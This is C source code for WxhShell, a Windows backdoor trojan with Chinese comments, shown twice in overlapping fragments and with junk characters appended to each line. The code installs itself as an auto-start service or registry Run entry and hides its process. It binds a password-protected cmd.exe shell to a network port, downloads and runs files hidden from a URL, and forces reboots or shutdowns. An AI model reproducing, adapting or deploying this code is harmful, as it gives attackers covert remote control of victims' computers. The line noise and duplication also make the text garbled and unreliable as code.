    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|zA,-=  
    else { 0P|WoC X  
    closesocket(wsh); d-Sm<XHu.  
    ExitThread(0); j8lbn|.  
    } js{ RaR=  
    break; ]!/1qF  
    } &0 @2JS/!  
  // 获取shell I*X| pRD  
  case 's': { +2vcUy  
    CmdShell(wsh); H*Yy o ?  
    closesocket(wsh); 5yry$w$G)  
    ExitThread(0); <+6)E@Y  
    break; "G< ^@v9  
  } 3h4>edM  
  // 退出 &ha39&I  
  case 'x': { UW\.!TV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  :S.0e  
    CloseIt(wsh); L"IdD5`7T  
    break; rn(T Z}  
    } E]68IuP@'  
  // 离开 s>kzt1,x  
  case 'q': { \=.iM?T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "2 Kh2[K  
    closesocket(wsh); _ ZJP]5  
    WSACleanup(); s)}C&T$Y.  
    exit(1); XRZmg "  
    break; c[4Z_5B  
        } MQhL>oQ  
  } @6\8&(|  
  } pBHr{/\5  
u|+O%s TQ  
  // 提示信息 Z yIn>]{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lO:[^l?F  
} /Qbt  
  } n84*[d}t  
F77~156  
  return; <h(tW  
} (|S e+Y#e,  
d8av`m  
// shell模块句柄 z7NaW e  
int CmdShell(SOCKET sock) f7mI\$CN  
{ ^)X^Pcx  
STARTUPINFO si; [~x Q l  
ZeroMemory(&si,sizeof(si)); Oq[tgmf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CYz]tv}g:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4/$]wK`  
PROCESS_INFORMATION ProcessInfo; q$K^E  
char cmdline[]="cmd"; PQ1\b-I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Zo8KwkFY  
  return 0; cd\0  
} ibEQ52  
q")}vN  
// 自身启动模式 }E*#VA0/nY  
int StartFromService(void)  I"r*p?  
{ uA,K}sNRZ  
typedef struct dqcfs/XhP  
{ &ceZu=*  
  DWORD ExitStatus; Qd$d*mwg:  
  DWORD PebBaseAddress; PX+$Us  
  DWORD AffinityMask; 1SQ&m H/  
  DWORD BasePriority; i: 1V\q%  
  ULONG UniqueProcessId; 7,Nd[ oL*7  
  ULONG InheritedFromUniqueProcessId; o: qB#8X  
}   PROCESS_BASIC_INFORMATION; mim]nRd2v  
gJ:Z7b  
PROCNTQSIP NtQueryInformationProcess; XBCz\f  
\ 3ha  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iGM-#{5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ._#|h5  
p^NYJV  
  HANDLE             hProcess; UDhW Y.`'~  
  PROCESS_BASIC_INFORMATION pbi; 5X'[{'i,  
#k*e>d$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &vo]l~.  
  if(NULL == hInst ) return 0; ;4%^4<+3  
N_h)L`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2UA h^i-^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S&FMFXF@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s@Y0"   
a,!c6'QE  
  if (!NtQueryInformationProcess) return 0; d-lC|5U%  
p^^E(<2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a~WtW]  
  if(!hProcess) return 0; c1Xt$[_  
! p458~|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (eFHMRMv~  
NJwcb=*  
  CloseHandle(hProcess); #X`j#"Ov2(  
% ?@PlQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "2$C_aE  
if(hProcess==NULL) return 0; Z#%4QIz ?  
zN0^FXGD  
HMODULE hMod; Y}Y2 Vx  
char procName[255]; !'[f!vsyM{  
unsigned long cbNeeded; [*Wq6n  
Jr|"`f%V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vQ$FMKz7  
,a_\o&V  
  CloseHandle(hProcess); z1*8 5?  
L6O* aZ|  
if(strstr(procName,"services")) return 1; // 以服务启动 5f jmr  
fMy7pXa_  
  return 0; // 注册表启动 9ssTG4Sa  
} ">j}!n 8J  
<%B sb}h,  
// 主模块 9Y3_.qa(.  
int StartWxhshell(LPSTR lpCmdLine) c\065#f!  
{ ^/U-(4O05*  
  SOCKET wsl; UzWf_r  
BOOL val=TRUE; Tm 6<^5t  
  int port=0; S)T~vK(n  
  struct sockaddr_in door; =bi:<%"  
g kT`C  
  if(wscfg.ws_autoins) Install(); c R*D)'/tl  
~K5eO-  
port=atoi(lpCmdLine); ia?{]!7$  
4 bw8^  
if(port<=0) port=wscfg.ws_port; !"Jne'f  
RQ;pAO  
  WSADATA data; lQ {k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oYG9i=lZ  
KY~p>Jmh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /PafIq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZBUEg7c  
  door.sin_family = AF_INET; ~xer ZQgc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Abq("9p\  
  door.sin_port = htons(port); w^6rgCl  
%wzDBsX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ fJ 5z  
closesocket(wsl); 8M <q-sn4B  
return 1; d="Oge8  
} Dp3&@M"^yY  
0z1m!tr  
  if(listen(wsl,2) == INVALID_SOCKET) { ~oWCTj-  
closesocket(wsl); }6*+>?  
return 1; o$)pJ#";F  
} 7o_1PwKS6  
  Wxhshell(wsl); j^-E,YMC  
  WSACleanup(); mnh>gl!l  
;x^WPY Ej  
return 0; N_Q)AXr)  
P:,'   
}  >\6Tm  
XHKiz2Pc1  
// 以NT服务方式启动 j")#"& m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I]+xerVd  
{ Wn6~x2LaV  
DWORD   status = 0; '#LbIv4  
  DWORD   specificError = 0xfffffff; R/Y9t8kk  
n;+CV~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R9@Dd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E%8Op{zv_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Aj8u\3!@  
  serviceStatus.dwWin32ExitCode     = 0; GrPKJ~{6  
  serviceStatus.dwServiceSpecificExitCode = 0;  ieo Naq  
  serviceStatus.dwCheckPoint       = 0; lQ(I/[qVd  
  serviceStatus.dwWaitHint       = 0; -5B>2K F  
X67^@~l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Aj#bhv  
  if (hServiceStatusHandle==0) return; tUU`R{=(  
8S/SXyS  
status = GetLastError(); u5zL;C3O  
  if (status!=NO_ERROR) {BPNb{dBKr  
{ ?&A)%6` ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 69/aP=  
    serviceStatus.dwCheckPoint       = 0; HEh,Cf7`'  
    serviceStatus.dwWaitHint       = 0; utOATjB.z  
    serviceStatus.dwWin32ExitCode     = status; @{/GdB,}  
    serviceStatus.dwServiceSpecificExitCode = specificError; `s1>7XWf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @pq2Z^SQH  
    return; $ 1lI6 = ,  
  } mW EaUi)Zz  
l ld,&N8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +5~5BZP  
  serviceStatus.dwCheckPoint       = 0; J,q6  
  serviceStatus.dwWaitHint       = 0; 9bu}@#4*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K ?uH Am  
} jEU`ko_  
Xf 0)i  
// 处理NT服务事件,比如:启动、停止 X% JQ_Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3<F\ 5|  
{ .Z?@;2<l  
switch(fdwControl) T<XGG_NOl  
{ 8k[=$Ro  
case SERVICE_CONTROL_STOP: 8[v9|r  
  serviceStatus.dwWin32ExitCode = 0; y950Q%B]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GO&~)Vh&7  
  serviceStatus.dwCheckPoint   = 0; .kwz$b+h  
  serviceStatus.dwWaitHint     = 0; fL$U%I3  
  { ={g.Fn(_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t"# .I?S0  
  } <9f;\+zA  
  return; [Ey[A|g  
case SERVICE_CONTROL_PAUSE: a9LK}xc={  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O2;iY_P7lV  
  break; _EHz>DJ9  
case SERVICE_CONTROL_CONTINUE: omd oH?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \G4L+Q/13  
  break; +;#z"m]  
case SERVICE_CONTROL_INTERROGATE: B|I9Ex~L  
  break; Z2P DT  
}; ;@ <E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ??5y0I6+  
} Dfhu  
I'h|7y\  
// 标准应用程序主函数 Sjb[v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3bK.8  
{ |NMf'$  
3g79pw2w=  
// 获取操作系统版本 )\aCeY8o  
OsIsNt=GetOsVer(); h95a61a,Vy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W0-KFo.'  
1 sJtkge:  
  // 从命令行安装 v[l={am{/  
  if(strpbrk(lpCmdLine,"iI")) Install(); meF.`fh  
,]Gi942  
  // 下载执行文件 };{Qx  
if(wscfg.ws_downexe) { Th.Mn}1%L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RKi11z  
  WinExec(wscfg.ws_filenam,SW_HIDE); DjLSl,Z  
} xVnk]:c  
;15 j\{r  
if(!OsIsNt) { ]#NJ[IZb  
// 如果时win9x,隐藏进程并且设置为注册表启动 "5wer5? t  
HideProc(); Ty&Ok*  
StartWxhshell(lpCmdLine); ,vcg%~-  
} y,/Arl}yc  
else W^e"()d/Z  
  if(StartFromService()) PP*',D3  
  // 以服务方式启动 wjzR 8g0bQ  
  StartServiceCtrlDispatcher(DispatchTable); Qr.SPNUFK  
else  Uf,fd  
  // 普通方式启动 l@W1b S  
  StartWxhshell(lpCmdLine); rbt/b0ET  
DYf3>xh>xb  
return 0; (J6>]MZ#)  
} /}\Uw  
y1 qJ  
ztEM>xsk  
_8 C:Md`  
=========================================== {,X}Btnwp  
<sncW>?!~  
?y/LMja  
L#|6L np^  
^{}$o#iof  
vk><S|[n  
" Mn<#rBE B  
e+~Q58oD  
#include <stdio.h> L,\wB7t  
#include <string.h> (O!Q[WLS  
#include <windows.h> dje}C bZ  
#include <winsock2.h> \+#>XDD  
#include <winsvc.h> {t%Jc~p{  
#include <urlmon.h> fbrCl!%P  
`b:yW.#w3l  
#pragma comment (lib, "Ws2_32.lib") "?HDv WP=w  
#pragma comment (lib, "urlmon.lib") "3;b,<0  
'eYM;\%('  
#define MAX_USER   100 // 最大客户端连接数 y_:~  
#define BUF_SOCK   200 // sock buffer UJ?qGOM3x>  
#define KEY_BUFF   255 // 输入 buffer 7[I%UP  
+1pY^#A  
#define REBOOT     0   // 重启 5H^"  
#define SHUTDOWN   1   // 关机 ExxD w_VGT  
Ri<'apl  
#define DEF_PORT   5000 // 监听端口 eEmuE H@X  
'DdR2  
#define REG_LEN     16   // 注册表键长度 "6t#   
#define SVC_LEN     80   // NT服务名长度 V4 8o+O  
PRi1 `% d  
// 从dll定义API Dt~ |)L+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /%{Qf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "8l& m6`U-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b?]Lx.l-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /H'F4->  
[bh8Nj\E  
// wxhshell配置信息 igO,Ge8}  
struct WSCFG { Qq{>]5<  
  int ws_port;         // 监听端口 %] #XIr  
  char ws_passstr[REG_LEN]; // 口令 SL$ bV2T  
  int ws_autoins;       // 安装标记, 1=yes 0=no H"vkp~u]I  
  char ws_regname[REG_LEN]; // 注册表键名 2A(?9 R9&h  
  char ws_svcname[REG_LEN]; // 服务名 YIn H8Ex  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vPce6 Cl*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kn9e7OO##  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yc3Rq4I'G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~YQH]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ZcE:r+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &cf(}  
+i@{h9"6g  
}; I-L:;~.  
u` L9Pj&v  
// default Wxhshell configuration Iw[7;B5v  
struct WSCFG wscfg={DEF_PORT, HP(dhsd<c  
    "xuhuanlingzhe", [k{2)g  
    1, F tw ;T|  
    "Wxhshell",  3PUyua'  
    "Wxhshell", c]PG5f xf  
            "WxhShell Service", TfnBPO  
    "Wrsky Windows CmdShell Service", %f1>cO9[  
    "Please Input Your Password: ", .H#<yPty  
  1, UAEu.AT  
  "http://www.wrsky.com/wxhshell.exe", UlQS]f~  
  "Wxhshell.exe" tDQuimYu7  
    }; ,)35Vi;.  
?Rd{`5.D  
// 消息定义模块 VdOcKP.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ; S~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oY<R[NYKu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '`sZo1x%f  
char *msg_ws_ext="\n\rExit."; [I 6&|Lz>  
char *msg_ws_end="\n\rQuit."; nsN|[E8  
char *msg_ws_boot="\n\rReboot..."; &rfl(&\oUi  
char *msg_ws_poff="\n\rShutdown..."; ;hb_jW-0W  
char *msg_ws_down="\n\rSave to "; 6DT ^:LHS  
<5E: ,<  
char *msg_ws_err="\n\rErr!"; z)F<{]%  
char *msg_ws_ok="\n\rOK!"; RAU"  
A +41JMH  
char ExeFile[MAX_PATH]; c-oIP~,  
int nUser = 0; uW0Dm#  
HANDLE handles[MAX_USER]; d}^G790  
int OsIsNt; AMre(lgh  
L0X/  
SERVICE_STATUS       serviceStatus; ?aWMU?S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TGH"OXV*@  
)%wNVW 0C  
// 函数声明 2+=:pc^  
int Install(void); %EE Q ^lm  
int Uninstall(void); .K`EflN  
int DownloadFile(char *sURL, SOCKET wsh); wCgi@\  
int Boot(int flag); {'a|$u+  
void HideProc(void); b Od<x >@  
int GetOsVer(void); FH)_L1n  
int Wxhshell(SOCKET wsl); >K n7A  
void TalkWithClient(void *cs); &>A<{J@VL  
int CmdShell(SOCKET sock); i_f\dkol  
int StartFromService(void); 952l1c!  
int StartWxhshell(LPSTR lpCmdLine); *;:dJXR  
oM(8'{S=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }l7@:ezZZ7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /i)>|U 4  
N~|Z@pU"  
// 数据结构和表定义 X" Upml  
SERVICE_TABLE_ENTRY DispatchTable[] = mlix^P  
{ iHKX#*  
{wscfg.ws_svcname, NTServiceMain}, $*+IsP!  
{NULL, NULL} sc&u NfJ  
}; X'J!.Jj  
Vrn+"2pdJ  
// 自我安装 @! {Y9k2  
int Install(void) e+<'=_x {  
{ .]YTS  
  char svExeFile[MAX_PATH]; 7q(A&  
  HKEY key; a.2Xl}2o5  
  strcpy(svExeFile,ExeFile); =/Ph ]f9  
d1';d6.u\  
// 如果是win9x系统,修改注册表设为自启动 Tfp^h~&u  
if(!OsIsNt) { /m|U2rrqb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7S2"e[-x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %%sJ+)  
  RegCloseKey(key); Z=dM7Lj*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B}+li1k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u{&#Gci  
  RegCloseKey(key); 2EiE5@  
  return 0; 1ne3CA=  
    } 0k G\9  
  } xmi@ XL@t  
} a4&Aw7"X  
else { CUnBi?Mi  
b\S~uFq6  
// 如果是NT以上系统,安装为系统服务 ~L4L|q 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TPVB{ 107  
if (schSCManager!=0) g.pR4Mf=Z  
{ ] @:x<>  
  SC_HANDLE schService = CreateService N/78Ub  
  ( k~*%Z!V}C  
  schSCManager, .Ta(v3om%  
  wscfg.ws_svcname, )&j@={0  
  wscfg.ws_svcdisp, #%g>^i={ky  
  SERVICE_ALL_ACCESS, G%ZP `  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UM<!bNz`  
  SERVICE_AUTO_START, 8j)*T9  
  SERVICE_ERROR_NORMAL, _< KUa\  
  svExeFile, =&F~GC Z>  
  NULL, RPdFLC/  
  NULL, K\FLA_J  
  NULL, 3 sD|R{  
  NULL, 1:!H`*DU&  
  NULL *yv@B!r  
  ); F :og:[  
  if (schService!=0) rK\9#[?x  
  { F+ %l= fs  
  CloseServiceHandle(schService); ERy=lP~gV  
  CloseServiceHandle(schSCManager);  <H npI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r{ KQ3j9O  
  strcat(svExeFile,wscfg.ws_svcname); 20# V?hX3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l5#SOo\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =!\Y;rk  
  RegCloseKey(key); p\R&vof*  
  return 0; Xe&p.v  
    } qKrxln/T  
  } EbG&[v  
  CloseServiceHandle(schSCManager); h[mJ=LIrg  
} On|b-  
} 5z&>NI  
{1gT{2/~@  
return 1; ^J;rW3#N8  
}  C TKeY  
]iMqIh"  
// 自我卸载 Z~].v._YV)  
int Uninstall(void) Zo,066'+[.  
{ YmCu\+u  
  HKEY key; W{c Z7$d  
GVhy }0|  
if(!OsIsNt) { k{H7+;_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z'7XGO'Lo  
  RegDeleteValue(key,wscfg.ws_regname); ~1{ppc+  
  RegCloseKey(key); E\ls- (,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3m| C8:  
  RegDeleteValue(key,wscfg.ws_regname); THARr#1b};  
  RegCloseKey(key); O?O=]s u  
  return 0; ?:h*=0>  
  } BOWBD@y  
} <_c8F!K)T  
} bObsj]  
else { Nz}PcWF/  
`FEa(Q+s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [8~P Pc^  
if (schSCManager!=0) %lD+57=  
{ txvo7?Y*4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y::O*I2  
  if (schService!=0) je5[.VTM  
  { C57m{RH  
  if(DeleteService(schService)!=0) { #;f50j!r  
  CloseServiceHandle(schService); 80ox$U  
  CloseServiceHandle(schSCManager); ,Ha<lU2K  
  return 0; SF`(`h0e  
  } e^'|<0J  
  CloseServiceHandle(schService); yO}5.  
  } QYi4A "$`  
  CloseServiceHandle(schSCManager); Tw7]   
} Q'qX`K+@`  
} -QwH|   
px*1 3"  
return 1; XDHi4i47`o  
} 3)OQgeKU  
',c~8U#q  
// 从指定url下载文件 gJCZ9{Nl  
int DownloadFile(char *sURL, SOCKET wsh) }8PO m#  
{ C}(@cn `L  
  HRESULT hr; Y%eq2%  
char seps[]= "/"; Vn_~ |-Wt  
char *token; ~d].<Be  
char *file; i(_A;TT6  
char myURL[MAX_PATH]; 8NiR3*1  
char myFILE[MAX_PATH]; uovv">Uw  
N/ f7"~+`  
strcpy(myURL,sURL); 6]4#8tR1_  
  token=strtok(myURL,seps); /M+Du,  
  while(token!=NULL) 4"_`Mu_%  
  { aZ+><1TD  
    file=token; zg H(/@P  
  token=strtok(NULL,seps); 3%hq<  
  } :PtZKt;~X  
~USt&?  
GetCurrentDirectory(MAX_PATH,myFILE); 8XG';K_  
strcat(myFILE, "\\"); .r2*tB).  
strcat(myFILE, file); 9Msy=qvYG  
  send(wsh,myFILE,strlen(myFILE),0); Bp3E)l  
send(wsh,"...",3,0); <N1wET-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B]@25  
  if(hr==S_OK) uKd4+Km  
return 0; L,[Q{:CS  
else ]8}51y8  
return 1; +[<YE  
AYgXqmH~+  
} fCwE1r*^  
DU0/if9.  
// 系统电源模块 .] sJl  
int Boot(int flag) ^lAM /  
{ TS#[[^!S  
  HANDLE hToken; nYFrp)DLK  
  TOKEN_PRIVILEGES tkp; FY ms]bv  
YZj*F-}  
  if(OsIsNt) { NC#F:M;b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s2#Ia>5!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i'7+ ?YL  
    tkp.PrivilegeCount = 1; |1RVm?~i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LP=j/qf|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d 8DU[p  
if(flag==REBOOT) { ](A2,F 9(U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T*f/M  
  return 0; >WIc"y.  
} xbm%+  
else { G[A3H> >  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o87kF!x  
  return 0; %VH,(}i  
} XTo7fbW*  
  }  }:Gs ,  
  else { sVK?sBs]  
if(flag==REBOOT) { o`,~#P|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IQRuqp KL  
  return 0; v6s,lC5qR  
} B*,)@h  
else { lI 4tW=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2S{P(B   
  return 0; K5jt(7i  
} NS~;{d \  
} DK\XC%~m  
\xj;{xc  
return 1; ,-4NSli  
} F5Z,Jmi^M  
d=PX}o^  
// win9x进程隐藏模块 iCE!TmDT  
void HideProc(void) jYFJk&c  
{ \&5V';  
MQQm3VaKS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R7kkth  
  if ( hKernel != NULL ) `o JQA$UD  
  { m{/( 3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bI55G#1G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h 6Z:+  
    FreeLibrary(hKernel); @"-\e|[N  
  } \</!kY*3@t  
kFv*>>X`  
return; [b:&y(  
} gvA}s/   
yQiY:SH  
// 获取操作系统版本 -GA F>  
int GetOsVer(void) x9vSekV  
{ <w{?b'/q  
  OSVERSIONINFO winfo; /ce;-3+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dRX~eIw  
  GetVersionEx(&winfo); }IyF |[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j#1G?MF  
  return 1; }OpUG  
  else P.'.KZJ:WD  
  return 0; u^~7[OkE  
} 3m1(l?fp  
q(?+01  
// 客户端句柄模块 +;?mg(:  
int Wxhshell(SOCKET wsl) @-'a{hBR  
{ Nmj)TOEPW  
  SOCKET wsh; FH+X<  
  struct sockaddr_in client; 5To@d|{  
  DWORD myID;  Y~WdN<g  
v Y0bK-  
  while(nUser<MAX_USER) ~5f&<,p!  
{ *nCA6i  
  int nSize=sizeof(client); QB*,+u4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i6WH^IQM  
  if(wsh==INVALID_SOCKET) return 1; n m-  
2.D2 o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wq$$. .E  
if(handles[nUser]==0) tk&AZb,sP  
  closesocket(wsh); ;xZ+1 zmL0  
else _MBhwNBxZ  
  nUser++; {p +&Q|  
  } )G/bP!^+(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xB *b7-a  
`tkoS  
  return 0; gQy%T]  
} Ghgn<YG  
 U?*zb  
// 关闭 socket 3~~X,ZL  
void CloseIt(SOCKET wsh) Mg;pNK\n  
{ ~_\Ra%  
closesocket(wsh); Vu:ZG*^  
nUser--; Q$E.G63Wl  
ExitThread(0); u?=mh`  
} hdPGqJE  
%Mda<3P  
// 客户端请求句柄 (S~kyU!)0  
void TalkWithClient(void *cs) cx\E40WD  
{ r&{8/ 5 "  
nTeA=0 4  
  SOCKET wsh=(SOCKET)cs; @d WA1tM  
  char pwd[SVC_LEN]; DYf QlA  
  char cmd[KEY_BUFF]; :_8K8Sa  
char chr[1]; g3:@90Ba  
int i,j; GV0\+A"vD  
|+Y-i4t  
  while (nUser < MAX_USER) { _:r8UVAT.  
,:?ibE=  
if(wscfg.ws_passstr) { f%]@e9dD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hX.cdt_?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uf6egm5 ]  
  //ZeroMemory(pwd,KEY_BUFF); _3`G ZeGV  
      i=0; %;[DMc/  
  while(i<SVC_LEN) { *k{Llq  
b)diYsTH  
  // 设置超时 Kxsd@^E  
  fd_set FdRead; MntmBj-T  
  struct timeval TimeOut; SZWNN#w60?  
  FD_ZERO(&FdRead); oGcgd$%ZB  
  FD_SET(wsh,&FdRead); _Xf1FzF+a  
  TimeOut.tv_sec=8; Y&6jFT_  
  TimeOut.tv_usec=0; 1)X|?ZD]F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7{#p'.nc5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $--8%gh dG  
q8{Bx03m6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j1_>>xB  
  pwd=chr[0]; ,} t%7I  
  if(chr[0]==0xd || chr[0]==0xa) { .I`>F/Sjr  
  pwd=0; O*u   
  break; %J*1F  
  } 2*cNd}qr  
  i++; >ywl()4O  
    } q[U pP`Z%  
vMzL+D2)  
  // 如果是非法用户,关闭 socket )G2Bx+Z;L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ne u$SP  
} T"g_a|7Tj  
[<@L`ki  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V^s, 3C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .\b.l@O<Z  
b `P6Ox3  
while(1) { jJ2rfdfj  
6()Jx%  
  ZeroMemory(cmd,KEY_BUFF); !X}+JeU '  
59.$;Ip;g  
      // 自动支持客户端 telnet标准   qz` -?,pF  
  j=0; v[$e{Dz(  
  while(j<KEY_BUFF) { -RP{viG WK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D[>:az `  
  cmd[j]=chr[0]; J_)F/S!T  
  if(chr[0]==0xa || chr[0]==0xd) {  !XTzsN  
  cmd[j]=0; #VhdYDbW  
  break; y;az&T  
  } [Q T ;~5  
  j++; \n}%RD-Ce  
    } ,LBj$U]e|E  
9O- otAGM  
  // 下载文件 z(A60b}  
  if(strstr(cmd,"http://")) { fHaF9o+/b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Nzh1ul\}  
  if(DownloadFile(cmd,wsh)) dw6ysOR@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zTue(Kr  
  else nk!uO^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6PsT])*>DE  
  } 7^>~k}H  
  else { @kSfF[4H  
x}ZXeqt{ {  
    switch(cmd[0]) { _#~D{91 j:  
  -']Idn6  
  // 帮助 OsOfo({I_  
  case '?': { dsX"S;`v  
